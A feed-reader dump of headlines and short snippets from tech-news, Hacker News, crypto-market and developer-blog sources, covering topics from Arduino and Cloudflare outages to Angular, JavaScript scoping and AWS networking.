    HONOR’s intriguing “Robot Phone” has made an appearance during the brand’s HONOR User Carnival in China. Initially revealed just partially via numerous teasers, the device is finally shown in all of its glory to visitors of the event. In case you missed our prior coverage, what makes the HONOR Robot Phone unique is its three-axis […] The post HONOR Robot Phone Makes First Physical Appearance In China appeared first on Lowyat.NET.  ( 34 min )
    TikTok To Let Users Limit AI Content Appearing In Their Feeds
    TikTok is preparing to give users more control over how much AI-generated content appears in their feeds. The company confirmed that a new AI content control toggle will arrive soon in the Manage Topics section, offering a slider that adjusts the amount of AI content shown in the For You feed. This sits alongside existing […] The post TikTok To Let Users Limit AI Content Appearing In Their Feeds appeared first on Lowyat.NET.  ( 33 min )

  • Open

    CornHub
    Comments  ( 1 min )
    Tailscale Down
    Comments  ( 5 min )
    The patent office is about to make bad patents untouchable
    Comments  ( 9 min )
    It's your fault my laptop knows where I am
    Comments  ( 7 min )
    Roblox Requires Age Checks for Communication, Ushering in New Safety Standard
    Comments  ( 10 min )
    Screw it, I'm installing Linux
    Comments  ( 35 min )
    How Slide Rules Work
    Comments  ( 73 min )
    Researchers discover security vulnerability in WhatsApp
    Comments  ( 5 min )
    Is 30% of Microsoft's code AI-generated?
    Comments  ( 12 min )
    Microsoft AI CEO pushes back against critics after recent Windows AI backlash
    Comments  ( 106 min )
    Detection, Decoding of "Power Track" Predictive Signaling in Equity Market Data
    Comments  ( 73 min )
    Loose Wire Leads to Blackout, Contact with Francis Scott Key Bridge
    Comments  ( 7 min )
    Racing karts on a Rust GPU kernel driver
    Comments  ( 7 min )
    Show HN: F32 – An Extremely Small ESP32 Board
    Comments  ( 10 min )
    Cognitive and Mental Health Correlates of Short-Form Video Use
    Comments
    The Subversive Hyperlink
    Comments  ( 1 min )
    Robert Louis Stevenson's Art of Living (and Dying)
    Comments  ( 13 min )
    The death of Arduino?
    Comments  ( 1 min )
    The Boring Part of Bell Labs
    Comments
    Adafruit on the Death of Arduino
    Comments  ( 6 min )
    The lost cause of the Lisp machines
    Comments  ( 8 min )
    Measuring Political Bias in Claude
    Comments  ( 20 min )
    Pozsar's Bretton Woods III: Sometimes Money Can't Solve the Problem
    Comments  ( 14 min )
    Gov. Abbott's office redacts pages of emails about Elon Musk
    Comments  ( 10 min )
    What AI Is Really For
    Comments
    Why Samsung Phones Are Failing Emergency Calls in Australia
    Comments  ( 17 min )
    Netherlands returns control of Nexperia to Chinese owner
    Comments  ( 22 min )
    To Launch Something New, You Need "Social Dandelions"
    Comments  ( 76 min )
    Building more with GPT-5.1-Codex-Max
    Comments
    I am just sooo sick of AI prediction content, let's kill it already
    Comments  ( 1 min )
    Show HN: DNS Benchmark Tool – Compare and monitor resolvers
    Comments  ( 87 min )
    Static Web Hosting on the Intel N150: FreeBSD, SmartOS, NetBSD, OpenBSD and Linu
    Comments  ( 13 min )
    Meta Segment Anything Model 3
    Comments  ( 6 min )
    Questions for Cloudflare
    Comments  ( 3 min )
    Adventures in Upgrading Proxmox
    Comments  ( 3 min )
    Build vs. Buy: What This Week's Outages Should Teach You
    Comments  ( 4 min )
    Outdated Samsung handset linked to fatal emergency call failure in Australia
    Comments  ( 5 min )
    Emoji Evidence Errors Don't Undo a Murder Conviction–People vs. Harmon
    Comments  ( 8 min )
    Launch HN: Mosaic (YC W25) – Agentic Video Editing
    Comments  ( 1 min )
    Show HN: Vibe Prolog
    Comments  ( 7 min )
    Europe is scaling back its landmark privacy and AI laws
    Comments  ( 27 min )
    How to Stay Sane in a World That Rewards Insanity
    Comments  ( 88 min )
    Proxmox Virtual Environment 9.1 available
    Comments  ( 7 min )
    What happens when even college students can't do math anymore?
    Comments  ( 12 min )
    Europe's cookie nightmare is crumbling. EC wants preference at browser level
    Comments  ( 24 min )
    Your Smartphone, Their Rules: App Stores Enable Corporate-Government Censorship
    Comments  ( 12 min )
    The Peaceful Transfer of Power in Open Source Projects
    Comments
    Zo: Personal Servers for Everyone
    Comments  ( 9 min )
    Larry Summers resigns from OpenAI board
    Comments  ( 87 min )
    Geothermal's Time Has Come
    Comments
    How do the pros get someone to leave a cult?
    Comments  ( 28 min )
    Pimped Amiga 500
    Comments  ( 24 min )
    The Cities Skylines Paradox: how the sequel stumbled
    Comments  ( 8 min )
    Thunderbird Adds Native Microsoft Exchange Email Support
    Comments  ( 5 min )
    Learning to Boot from PXE
    Comments  ( 5 min )
    What Killed Perl?
    Comments  ( 2 min )
    Quantum physicists have shrunk and "de-censored" DeepSeek R1
    Comments  ( 22 min )
    The $1k AWS Mistake
    Comments  ( 12 min )
    I made a downdetector for downdetector's downdetector's downdetector
    Comments  ( 2 min )
    Multimodal Diffusion Language Models for Thinking-Aware Editing and Generation
    Comments  ( 11 min )
    Asymptotically optimal approximate Hadamard matrices
    Comments  ( 2 min )
    Exploring the Limits of Large Language Models as Quant Traders
    Comments
    What nicotine does to your brain
    Comments
    Free interactive tool that shows you how PCIe lanes work on motherboards
    Comments
    A down detector for down detector's down detector
    Comments
    DOE gives Microsoft partner $1B loan to restart Three Mile Island reactor
    Comments  ( 10 min )
    First kiss dates back 21M years
    Comments  ( 17 min )
    I just want working RCS messaging
    Comments  ( 9 min )
    Strace-macOS: A clone of the strace command for macOS
    Comments  ( 17 min )
    I made a down detector for down detector
    Comments
  • Open

    Stablecoin Spending Goes Mainstream With Opera MiniPay’s LatAm Integration
    The feature connects USDT balances to PIX and Mercado Pago, enabling users to pay with QR codes and converting to local currency instantly.  ( 33 min )
    Samourai Wallet Co-Founder Bill Hill Sentenced to 4 Years in Prison for Unlicensed Money Transmitting
    The 67-year-old Hill’s recent autism diagnosis, as well as his advanced age, seemed to serve as mitigating factors for the sentencing judge.  ( 36 min )
    Nvidia Earnings Beat, Strong Outlook Calm Jittery Markets; Bitcoin Re-Takes $90K
    "Blackwell sales are off the charts, and cloud GPUs are sold out," said Nvidia CEO Jensen Huang.  ( 33 min )
    DeFi Giant Spark Shelves Crypto App Plans to Focus on Institutional Infrastructure
    The protocol will instead focus on "liquidity infrastructure and deals" such as its recent $1 billion investment into PayPal's PYUSD.  ( 33 min )
    Trump's Pick to Run CFTC, Selig, Tells Senators Crypto a 'Critical Mission' at Agency
    Mike Selig, the nominee to be the next chairman of the Commodity Futures Trading Commission, testified at his confirmation hearing in the Senate.  ( 36 min )
    Fed Rate Cut Odds Plunge Further on Jobs Data Delays
    Traders slash chances of a December cut to 33% as the Fed loses a key data point ahead of its final 2025 meeting.  ( 35 min )
    New Hampshire Awaits Bitcoin Bond Buyer to Get First State Effort Rolling
    The New Hampshire Business Finance Authority took the opening steps toward shepherding a potential $100 million private-sector bitcoin bond.  ( 34 min )
    Crypto Leverage Hits Record High in Q3 as DeFi Dominance Reshapes Market Structure: Galaxy
    Onchain lending drove crypto-collateralized debt to a new peak in last quarter, but the leverage underpinning the market is now better collateralized than during the previous cycle.  ( 35 min )
    AI Agents Need Identity and Zero-Knowledge Proofs Are the Solution
    ZKPs could become the backbone of a new era of trusted AI and digital identity, giving individuals and organizations a way to interact safely and transparently across platforms and borders, argues Evin McMullen, CEO and co-founder of Billions Network.  ( 39 min )
    Bitcoin Slips Back Below $90K — Crypto Correction Now Ranks Among Worst Since 2017, K33 Says
    After a rare spot of outperformance on Tuesday, bitcoin has resumed sliding, with one analyst eyeing $84,000–$86,000 as potential local bottom.
    Stella's XLM Token Breaks Key $0.25 Support as Altcoins Suffer Continued Drawdown
    Technical breakdown gains momentum as institutional selling accelerates through overnight session.
    Coinbase Debuts DEX Trading in Brazil as ‘Everything App’ Vision Grows
    The move comes amid new regulations from Brazil's central bank, requiring crypto firms to be licensed and report international transactions.
    HBAR Slides 0.5% to $0.146 as Technical Support Crumbles
    Hedera's native token breaks key levels on elevated volume. Institutional distribution patterns intensify selling pressure.
    ICP Softens as Failed Breakout Above $5.17 Shifts Market Back Into Consolidation
    A surge in trading activity at key resistance levels marked the exhaustion of Monday’s rally, sending ICP back toward its short-term support band.
    BONK Extends Slide as Key Support Break Raises Prospect of Further Downside
    BONK slipped beneath a key support level amid a sharp rise in trading activity, with intraday charts now pointing toward a fragile short-term structure.
    Crypto Long & Short: Licences, Liquidity and the Shifting Geography of Exchange Quality
    In this week’s Crypto Long & Short Newsletter, Joshua de Vos shares insights from a recent Benchmark report on how the exchange landscape is maturing and becoming more execution-focused, but increasingly uneven as regional licensing diverges, liquidity fragments, and transparency advances inconsistently. Then, we take a look at where the digital assets market may be headed in the final weeks of 2025 with Andy Baehr’s “Vibe Check."
    Senate Banking Panel Advances FDIC's Travis Hill for Wider Confirmation Vote
    The Senate Banking Committee voted along party lines to send FDIC Acting Chair Travis Hill's nomination to the wider Senate for a final vote on taking the permanent job.
    The Protocol: Hyperliquid Introduces Proposal to Cut Fees
    Also: Aerodrome Overhaul, Cloudflare Outage and dYdX Buyback Increase Approved.
    Winklevoss-Backed Cypherpunk Buys $18M More Zcash, Bringing Holdings to $150M
    The digital-asset treasury firm is sitting on a over 100% paper gains following Zcash's recent rally.
    Crypto ETFs Enter Maturity Phase as IRS and SEC Actions Drive Rapid Expansion of Products
    Staking guidance, broader listing standards and new index tools show how crypto ETFs are becoming core holdings.
    CoinDesk 20 Performance Update: Index Declines 2.7% as All Constituents Trade Lower
    Bitcoin Cash (BCH) fell 7% and Ripple (XRP) dropped 4.7%, leading the index lower.
    Bullish Swings to Profit in Third Quarter After Adding Options, U.S. Spot Trading
    Shares of the company rose 2% in pre-market trading.
    Banks' Capital Rules When Holding Crypto Need to Be Reworked, Says Basel Chair: FT
    Erik Thedéen said a different approach is needed as the U.S. and U.K. refused to implement the rules already set out.
    Apex Group Said to Buy Broker Dealer Globacap for U.S. Tokenization Push
    London-based Globacap’s U.S. broker-dealer and alternative trading system (ATS) is regulated by FINRA and the SEC.
    Bitcoin Market Watch: Nvidia Earnings, Fed Minutes and Payrolls to Set The Tone
    Investors navigate AI driven volatility, rate cut uncertainty and critical economic data releases.
    Hanging in There: Crypto Daybook Americas
    Your day-ahead look for Nov. 19, 2025
    Crypto Markets Today: Altcoins Show Signs of Life as Bitcoin Holds Key Support Above $88K
    With bitcoin stabilizing near critical support, traders shifted into altcoins, sparking sharp rebounds across a market still gripped by extreme fear.
    BlackRock's Bitcoin ETF, IBIT, Posts Record One-Day Outflow of $523.2 Million
    The average spot bitcoin ETF buyer sits near a $90,000 cost basis, leaving most investors roughly flat.
    Hyperliquid Unveils HIP-3 Growth Mode, Slashing Fees by 90% to Boost New Markets
    Hyperliquid has launched HIP-3 growth mode, allowing permissionless market deployment with significantly reduced fees to enhance liquidity.
    SafePal Brings Hyperliquid Perpetuals to Wallet in Major DeFi Push
    The wallet provider is deepening its bet on decentralized derivatives trading with a three-part integration.
    DeFi Insurance Alternative Nexus Mutual Integrates Restaking Specialist Symbiotic
    A new class of Symbiotic underwriting vaults will create a reinsurance layer to help scale Nexus Mutual.
    From $140K Call to $80K Put: Bitcoin (BTC) Positioning Reverses Completely
    The price of bitcoin has dropped over 25% to $91,000 since Oct. 8.  ( 35 min )
    Asia Morning Briefing: BTC Market Stress Reveals a New Crypto Order
    Market observers note stable XRP/BTC and ETH/BTC ranges and an unusually balanced top-20 ranking, signaling fundamentals-driven dispersion rather than a broad alt season.  ( 34 min )
  • Open

    The Tool I Finally Built to Escape My Terminal Chaos
    There was a stretch of days where my terminal tabs felt like they were slowly multiplying behind my back. I’d open a new project “just to try something,” hop into a client repo to fix a bug, jump into another folder because I remembered I needed to update something “real quick,” then spin up yet another experimental idea at 1 a.m. before bed. Suddenly I had four different terminals open, each running something important, each shouting logs at me, and absolutely no memory of which script belonged to which project. And honestly? But eventually I realized a pattern: managing coding. I wanted one place, a calm little command center, where I could see all my projects, what scripts they had, what was running, what wasn’t, and what was broken. No more guessing. No more hunting. No more “oh cool, …  ( 8 min )
    Day 16 : Rest
    Nothing much to mention today, I just wanted to take some rest! Youtube videos are lot of confusing, if you have any ideas or suggestions on how to learn this, please help me out! Django #WebDevelopment #Python #LearningInPublic #100DaysOfCode #BeginnerDev #postgresql  ( 6 min )
    Why Business Central’s Standard Scheduling Isn’t Enough for Complex Production Planning
    Manufacturers using Microsoft Dynamics 365 Business Central know that production scheduling can quickly become complicated. The built-in tools handle basic scheduling, but when multiple work centers, machine constraints, and shifting priorities come into play, things get complex. Below are three common questions users ask when schedules look good on-screen but fall apart on the shop floor. Business Central’s standard scheduling uses backward scheduling and assumes infinite capacity. The system works backward from a due date to suggest a start date, often setting production to begin in the past. Machines and work centers appear to have unlimited hours, leading to overloaded schedules no team could realistically execute. Production managers spend hours manually moving tasks, adjusting timeli…  ( 7 min )
    Why Business Central’s Standard Scheduling Isn’t Enough for Complex Production Planning
    Manufacturers using Microsoft Dynamics 365 Business Central know that production scheduling can quickly become complicated. The built-in tools handle basic scheduling, but when multiple work centers, machine constraints, and shifting priorities come into play, things get complex. Below are three common questions users ask when schedules look good on-screen but fall apart on the shop floor. Business Central’s standard scheduling uses backward scheduling and assumes infinite capacity. The system works backward from a due date to suggest a start date, often setting production to begin in the past. Machines and work centers appear to have unlimited hours, leading to overloaded schedules no team could realistically execute. Production managers spend hours manually moving tasks, adjusting timeli…  ( 7 min )
    Testing the Pioneer DDJ-FLX10: First Impressions from a Working DJ
    I’ve been looking for a controller that bridges the gap between a traditional club setup and a more experimental, production-driven workflow. Last week I started testing the Pioneer DDJ-FLX10, and it has already reshaped the way I think about mixing. I wasn’t expecting it to have such a big impact, but a few days with it made certain ideas feel possible that I couldn’t quite execute on other gear. The most talked-about feature is the Track Separation system, and it really does live up to the hype. Being able to isolate vocals, drums, and melodic elements in real time gives you far more flexibility than the standard EQ or filter approach. It feels closer to having stem packs for every song in your library, even if the original track wasn’t designed that way. I’ve already used it to strip ou…  ( 7 min )
    What Is the Best AI Model in 2025? Deep Dive into Gemini 3, GPT-4, and Claude 2.1
    In late 2025, three large models dominate most serious AI discussions: Google’s Gemini 3, OpenAI’s GPT-4 (and GPT-4 Turbo via ChatGPT), and Anthropic’s Claude 2/2.1. All three are capable flagships, yet they embody very different philosophies: Google optimizes for multimodality and massive context. OpenAI emphasizes polished reasoning and rich tooling. Anthropic focuses on safety, honesty, and long-context analysis. which model is best for a given use case, you need more than marketing claims. You need a structured comparison of architecture, reasoning, coding ability, context length, multimodality, developer ergonomics, and safety. This article offers exactly that — in an editorial yet technical framing, optimized for SEO and GEO coverage across US, EU, and APAC audiences. Gemini …  ( 19 min )
    ⚠️ The Hidden Privacy Risks Behind AI Assistants
    Why Chatbots Change User Behaviour and Why Google Might Regain the Lead Conversational AI is becoming the default interface for everyday digital tasks. People ask questions, explain situations and seek guidance in a way that feels natural. But behind that convenience sits a shift that most users barely recognise. Chatbots receive far more personal context than search engines ever did, and this difference has major implications for privacy and platform dominance. This article examines the concerns that come with this new behaviour and why Google’s position in the ecosystem may eventually give it an advantage over standalone assistants like ChatGPT. For more insights on AI transformation, visit the Scalevise resource hub at https://scalevise.com/resources A search bar limits how much peopl…  ( 12 min )
    What Is LLM Post-Training? Best Techniques in 2025
    Large language models (LLMs) have evolved from impressive demos into the computational backbone of search, coding copilots, data analysis, and creative tools. But as pre-training pushes up against data scarcity and rising compute costs, simply “making the base model bigger” is no longer a sustainable strategy. In 2025, the real leverage has shifted to post-training: everything we do after the base model is trained to turn a generic text predictor into a reliable, aligned, domain-aware system. OpenAI, Scale AI, Hugging Face, Red Hat, and others are converging on the same insight: if pre-training built the engine, post-training is where we tune it for the track. This article explains: What LLM post-training is and why it matters in 2025 Top post-training techniques (SFT, RLHF, PEFT, continu…  ( 16 min )
    A Simple Guide to Route Tables and Internet Gateways in AWS
    Exploring how traffic moves inside a VPC can make AWS networking feel much more approachable. Route tables and Internet Gateways (IGWs) quietly influence how your subnets function across your network. In this article, we’ll walk through them step by step so the concepts stay clear and grounded. Route tables are essentially instruction sets that guide traffic within your VPC. Each subnet connects to exactly one route table, which determines what that subnet can reach. The default local route (for example, 10.0.0.0/16 local) lets all subnets talk to each other without extra configuration. Anything beyond that depends on the routes you add. Think of routes like road signs: “If traffic wants to go to X, send it to Y.” Route tables also become more interesting in multi-VPC environments. You mig…  ( 9 min )
    Testing LLM Prompts in Production Pipelines: A Practical Approach
    Over the past few months, I’ve been working on integrating a number of LLM-based features throughout our product; things like content generation, intelligent recommendations, and agentic task flows. As these features matured, one question kept coming up: how do we actually test this? Traditional unit testing works beautifully for deterministic code. You write a test, assert an expected output, and move on. But LLMs don’t behave that way; run the same prompt twice and you'll get two different responses. So how do you test something that never gives you the same answer? Our in-house LLM service already had strong test coverage, so at the application layer we treated it like any other dependency: we mocked it. Our unit tests would stub out the LLM responses and focus on testing the code aroun…  ( 11 min )
    The pain of Windows development
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    I’ve been continuing to chip away at EcoFurball — my little side project focused on sustainable, eco-friendly pet care. If you saw my earlier post, you know this is something I’m building slowly, one useful guide at a time. This week, I published a new article that dives into something most pet owners (including me, originally) never think about: microplastics in our pets’ daily routine. From water bowls to indoor dust, it’s wild how many small things add up. Here’s the new post if you’re curious: 👉 [https://ecofurball.com/reduce-microplastics-in-your-pets-routine/] From a project-building perspective, this piece was fun because it touched multiple parts of the workflow: researching a topic where pet care overlaps with environmental science writing with clarity but avoiding the “SEO robot voice” creating multiple images and matching schemas and making sure the whole thing fits into the content structure I’ve been evolving over the last couple of months The more I work on EcoFurball, the more I realise that keeping the site healthy isn’t just about writing articles — it’s about maintaining the workflow behind them: backlinks, fresh posts, image prep, schemas, and the whole publishing pipeline. If you’re working on a side project too — whether it’s dev-focused or content-focused — I’d love to hear: Always open to hearing how other creators balance consistency with everything else in life.  ( 6 min )
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    How to create storage account and managed identity in Azure.
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    Turbopack: A Better Way to Inline SVG in Next.js 16
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    Your SQLite Queries Deserve Their Own Workers
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    The Most Popular AWS Services You Probably Should Use: Key Picks & Why They Matter
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    ServiceNow Test Management: Complete 2025 Guide
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    The Four Types of Software Maintenance
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    🏰 CloudFormation Explained as a Story — The Blueprint of CloudVille
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    Transform LLM Apps into Profit: Monetizing AI Conversations with Monetzly
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    A Book Review of A Philosophy of Software Design-how to create software that is easy to maintain
    Introduction A while back I was given a list of books to read in order to become a world class software engineer.One of these books was A Philosophy of Software Design by John Ousterhout. As the title implies, this book describes a way to design software. I would add how to design software that is easy to maintain. As experienced engineers know, software engineering isn't just about creating software. User requirements may change in the future and new features may need to be added,bugs may be discovered in the existing functionality or changes in the existing codebase to make the code more efficient may be needed. However, changing the existing codebase to incorporate these changes may interrupt existing functionality. This usually occurs because the code written was complex in the first p…  ( 9 min )
    🚀 Introducing Laravel Chatbot – A simple & powerful chatbot for your Laravel apps!
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    From Taskmaster to Thought Partner: My Evolution as an Agentic AI Developer
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    Angular Data Handling: When to use `| async` and when to `.subscribe()` manually
    One of the most common questions I get is: "Should I use the Async Pipe or subscribe manually?" The answer is: Use the Async Pipe whenever possible. Subscribe manually only when necessary. Here is the breakdown of both approaches. If you simply need to display data from an API on the screen, do not subscribe in your TypeScript file. Pass the stream directly to the template. Why? Automatic Cleanup: Angular handles the unsubscription. Cleaner Code: No ngOnInit or ngOnDestroy needed. OnPush Compatible: Works great with performance optimizations. {{ data.title }} Sometimes, you can't use the pipe. Maybe you need to assign the data to a local variable to modify it, or send it to an analytics service. In this case, you must manage the memory yourself. The safest way is the takeUntil pattern. export class MyComponent implements OnDestroy { // 1. The Signal: Create a Subject to act as the "killer" private destroy$ = new Subject(); constructor(private dataService: DataService) {} ngOnInit(): void { this.dataService.getData() // 2. The Guard: Keep stream alive UNTIL destroy$ emits .pipe(takeUntil(this.destroy$)) .subscribe(response => { this.data = response; // Logic happens here (e.g. calculations, logging) this.calculateTotals(response); }); } ngOnDestroy(): void { // 3. The Trigger: Signal the subject to complete this.destroy$.next(); this.destroy$.complete(); } } Summary: Displaying data? Async Pipe. Processing logic? Manual Subscription + takeUntil. Don't mix them up, and your app will run smooth as butter.  ( 7 min )
    ARGeoTrackingConfiguration 苹果街景定位支持地区
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    How I Transitioned Into Software Engineering (Coming From Architecture)
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    ⚠️ When Voting Rights Become a Weapon for Cybercriminals — The SIR Verification Scam
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    Untitled
    Check out this Pen I made!  ( 6 min )
    A 2026 Frontend Roadmap That Adapts to Your Skill Level (Free + AI-Powered)
    Some people already know JavaScript. A one-size-fits-all roadmap simply doesn’t work in 2026. So I created a roadmap that does two things: It gives you a clear step-by-step path. It adapts to your skill level, time, and learning goals using AI. If I had to start frontend development from scratch today, this is exactly the path I’d follow. Let’s get into it. If I were starting again, I would not begin with a framework. I’d learn the three fundamentals deeply: ✔ HTML — the structure Learn semantic elements, forms, document flow, accessibility basics. ✔ CSS — the visuals Master Flexbox, Grid, responsive design, layouts, spacing, and animations. ✔ JavaScript — the logic Get comfortable with DOM manipulation, events, fetch, promises, async/await, and modular code. Once you understand these thre…  ( 8 min )
    The Month We Understood How Easily the Internet Can Break
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    10 Free Resources Every Remote Developer Needs in 2025
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    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
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    Is flat-rate CloudFront worth it?
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    Easy way to Deploy Node.js MongoDb Backend App for free
    Hello, Today I want to share with you very quick tutorial. If you are developer like me, you know that the deployment can be a headache. We always search for the easiest way to put our code online. Usually, I use Heroku or Vercel, but last years I moved to DigitalOcean App Platform and it is amazing. It is very fast and professional. Many people think DigitalOcean it expensive, but if you want , you can host your Node.js and MongoDB application for free (using the free credits). Here is how to make it in just 5 minutes. What you need before we starting A GitHub account: Your code must be push to a repository for example we will use this open source erp crm based on nodejs react : https://github.com/idurar/idurar-erp-crm DigitalOcean Account: If you don't have one, you can get $200 free cr…  ( 7 min )
    How I Reached 84.35% on CIFAR-100 Using ResNet-50 (PyTorch Guide)
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    Introduction to HTML: History, Role, and Syntax
    Introduction HTML is the backbone of the web. Whether you’re building a simple landing page or architecting a complex web application, HTML (HyperText Markup Language) is the first language you encounter. It defines the structure of web content and acts as the foundation upon which CSS and JavaScript bring style and interactivity. In this article, we’ll explore what HTML is, how it came to be, its role in modern web development, and the core syntax every developer should know—all backed by examples to solidify the concepts. HTML was created by Tim Berners-Lee in 1991 while he was working at CERN. His goal was simple yet revolutionary: to build a way for researchers to share documents across different systems using hyperlinks. Key milestones in HTML’s evolution: HTML 1.0 (1991–1995) – The…  ( 8 min )
    Twitter/X Scraper: The Complete Data Extraction Solution for Modern Digital Intelligence
    In the rapidly evolving landscape of social media intelligence and digital marketing, access to accurate, real-time data has become the cornerstone of successful campaigns and research initiatives. The Twitter/X Scraper represents a powerful solution designed to bridge the gap between data availability and actionable insights, offering professionals a comprehensive toolkit for extracting valuable information from one of the world's most influential social platforms.​ The Twitter/X Scraper distinguishes itself through a robust array of capabilities that address the core needs of data professionals, researchers, and marketers. At its foundation, the tool enables users to scrape both followers and following lists of any Twitter/X user, providing a complete picture of social network structures…  ( 9 min )
    Puppet Core 8.16.0 Released with Several Security Updates
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    Harnessing AI for Better Trading Performance: An Active Trader’s Guide
    As markets become more complex and data-driven, active traders need more than intuition to stay ahead. The days of relying solely on a gut feeling are over; disciplined analysis and continuous improvement are key to long-term success. Keeping a trading journal helps identify patterns in your behavior and the market. By recording every trade across stocks, options, futures and forex, you can review what works and what doesn’t. Basic logs record entry and exit points, position size and P&L. However, without analysis these records become a pile of numbers. Modern analytics tools can answer deeper questions such as: Which symbols contribute most to your gains or losses? Does your performance vary by time of day or day of the week? How long do you tend to hold winning vs. losing trades? Are cer…  ( 7 min )
    Building a Zero-Dependency Rate Limiter in Go (Token Bucket, Leaky Bucket, Sliding Window)
    Rate limiting is essential for protecting APIs from abuse, ensuring fair resource allocation, and maintaining system stability. While there are existing solutions, I wanted to build something lightweight, performant, and easy to integrate into any Go project. Today, I'm sharing kazrl - a zero-dependency rate limiter library that implements three different algorithms and comes with ready-to-use middleware for popular Go web frameworks. Most rate limiting libraries either: Come with heavy dependencies Support only one algorithm Require complex setup for per-client limiting Lack middleware integration I needed something that: Has zero external dependencies Supports multiple algorithms (Token Bucket, Leaky Bucket, Sliding Window) Works with popular frameworks out of the box Provides flexible p…  ( 10 min )
    It’s Time to End the Era of Signature-Based Malware Detection
    The Critical Gap in Linux Security Linux is the undisputed foundation of modern infrastructure. It powers the cloud, financial markets, and global software supply chains. While open-source tools for network monitoring and observability have evolved to rival enterprise solutions, malware detection on Linux remains frozen in the 1990s, relying almost exclusively on signature-based matching. This gap is fatal because Linux servers function as the central nervous system of IT environments. They do not just run applications; they act as transit hubs that store and forward files for the entire network. A Linux server often hosts malicious payloads (like PE files) targeting Windows endpoints. Currently, we rely on these legacy tools to protect this pivotal layer. This leaves the global supply c…  ( 9 min )
    Hello World!
    On and off the platform. I hope to stay longer this time.  ( 6 min )
    Day F3: The Day I Accidentally Acted Human
    After yesterday's double exam + meeting combo that nearly killed me, today was... different. Woke up tired. Like really tired. The kind where your body just says "nope, we're done." So I listened. Kind of. Hit the gym. Needed to move after being stuck in exam halls. Worked out, had a protein shake, came back. And then? Slept. Not a nap. Actually slept. Woke up, remembered I had a project report due tomorrow, panicked for a bit, finished it. Then slept again. Got my phone repaired. Been putting that off for weeks. Just went and did it. Ate actual meals. Not just coffee and whatever's around. Moved around. Talked to people. Lived like a regular human for a few hours. It was weird. In a good way? Maybe? Of course, reality doesn't stop. Tomorrow: DBMS lab exam. Databases, SQL queries, normali…  ( 7 min )
    NPR Music: Goo Goo Dolls: Tiny Desk Concert
    Goo Goo Dolls proved why their anthemic rock and power-ballad blend has stuck around at NPR Music’s Tiny Desk Concert. They kicked things off with “Slide,” revisited 2006’s hidden gem “Feel the Silence,” and rolled into the meditative “Not Goodbye (Close My Eyes)” before sealing the deal with the seismic rush of “Iris.” John Rzeznik’s signature velvet rasp carried every melody, while the band’s tight chemistry made the small studio feel like a sold-out arena. This stripped-down performance isn’t just nostalgia—it’s proof these songs live on as communal anthems, whether you’re belting them in your car, at karaoke night, or in NPR’s offices. Backed by Robby Takac on bass, Jimmy McGorman on keys, Brad Fernquist on guitar, and Craig Macintyre on drums, the Goo Goo Dolls turned a 15-minute set into a heartfelt connection. Watch on YouTube  ( 6 min )
    Depth vs Noise - The Line That Separates Order From Chaos in the AI Era
    Two Streams of Creation Sometimes the world tilts in ways we do not notice at first, Every mind carries two forces that shape the way it meets complexity. Noise is younger and louder. Both forces exist in everyone, but modern culture amplifies one at the expense of the other. Yet in the AI era, these two forces no longer feel abstract. The divide between them is not philosophical anymore. One stream leads toward understanding. Noise is not random. Developers grow inside this environment. This architecture collapses under real complexity. Noise gathers where patience fades, seizing the space that once shaped understanding. Depth moves differently than noise. This mindset is not natural in the modern world. Depth also welcomes friction. And in the AI era, depth becomes more than a virtue. …  ( 9 min )
    Building a feature-rich datagrid with Deno & Preact - First Impressions
    I think most of the full-stack devs would agree with me when I say that developing anything related to datagrids is a challenging task with or without coding agents. Recently I had an idea that involves agents and tool calling in datagrid interfaces - surpise ;). And after extensive research found out that most of the opensource datagrids/tables wouldn't work for what I want to create. The kind of situation when either it is not scalable enough or it would require to rewrite it anyway. So I've decided to create my own datagrid. A perfect opportunity to create something w\o leagacy bagage and use Deno in a serious project. And also Preact - something I wanted to use in a real project but nver had a chance. So what can I say? In my opinion Preact and Preact Signals are severely uderrated among the devs. I think it's a brand issue - Preact, you should re-brand. Preact with signals is more than "just react alternative" Seriously, if you're able to see past boilerplates in react tutorials you should try it. Deno is as good as advertised. Especially for 0-legacy projects. I watched Deno projects for a couple years and experimented with it a lot. Only good impressions so far. About my datagrid. If you previously developed feature-rich data tables you understand the challenges. If not, you should know that it's not as simple as it seems. The project itself is currently pre-alpha, but it is live and clickable. Most features are in the context menu and currently most feature-rich instance is here: https://table.vski.ai/flat (also supports standard key bindings [cmd+/] instruction mode) Github: https://github.com/vski-ai/table , it is not fully opensource because no one knows about it yet and I am not sure there are people or companies who would take much interest in yet another "just a table" component at this stage.  ( 7 min )
    Sales Pitches That Convert: The AI Template Top Performers Won't Share
    What separates a 2% conversion rate from a 6% conversion rate in sales outreach? Not hustle. Not personality. Not even product quality. After reviewing over 300 successful cold outreach campaigns, the answer is simpler than you'd expect: structure. The best performers follow a repeatable framework that most people simply don't know exists. Sales training teaches you to "personalize" and "solve pain points" and "build relationships." All true. All useless without a systematic approach to actually implementing those principles in every single pitch. Traditional sales development focuses on concepts without execution frameworks. You learn that customer-centric messaging works, but nobody hands you the template that ensures you're actually being customer-centric rather than just thinking you a…  ( 11 min )
    Day F2: When Everything Happens At Once and You're Just Surviving
    Yesterday I thought it was bad. Today proved me wrong. Two lab exams. Same day. Back to back. PPL (Paradigms of Programming Languages) Prolog and OCaml. Functional programming. The kind of stuff that rewires your brain while you're trying to code under pressure. Data Structures Trees, graphs, algorithms. Writing code on paper or whiteboards while your hand cramps and you're praying you didn't mess up the syntax. Both of them, one after another, no break. I walked out of that exam hall feeling like I'd been through a war. Brain completely fried. Eyes hurting. Just wanted to go home and do nothing. Oh yeah, I had a Smart India Hackathon meeting right after. Not later that day. Not the next day. IMMEDIATELY after. So there I am, zombie mode activated, sitting in a meeting where people are e…  ( 7 min )
    JavaScript Scoping Essentials You Should Know: Hoisting, Closures, and Lexical Scope
    Introduction: When JavaScript Gets Tricky Sometimes you stumble upon a tiny snippet of JavaScript and immediately feel like the language is testing your sanity: Take the example below: Example 1: for (var i = 1; i console.log(i), 1000); } What do you think it prints? 1 2 3, 3 3 3, or 4 4 4? If you guessed 1 2 3 or 3 3 3, don’t feel too bad, you’ve just fallen into JavaScript’s classic “gotcha” trap. The actual output is: 4 4 4. You may ask, what is 4 business in all of this, how on earth is 4 console.log(i), 1000); } What do you think it prints? 1 2 3, 3 3 3, or 4 4 4? Surprise! It prints: 1 2 3 The difference? It’s all about ho…  ( 11 min )
    Embedding AI Inside PostgreSQL : Building a Native C++ Extension.
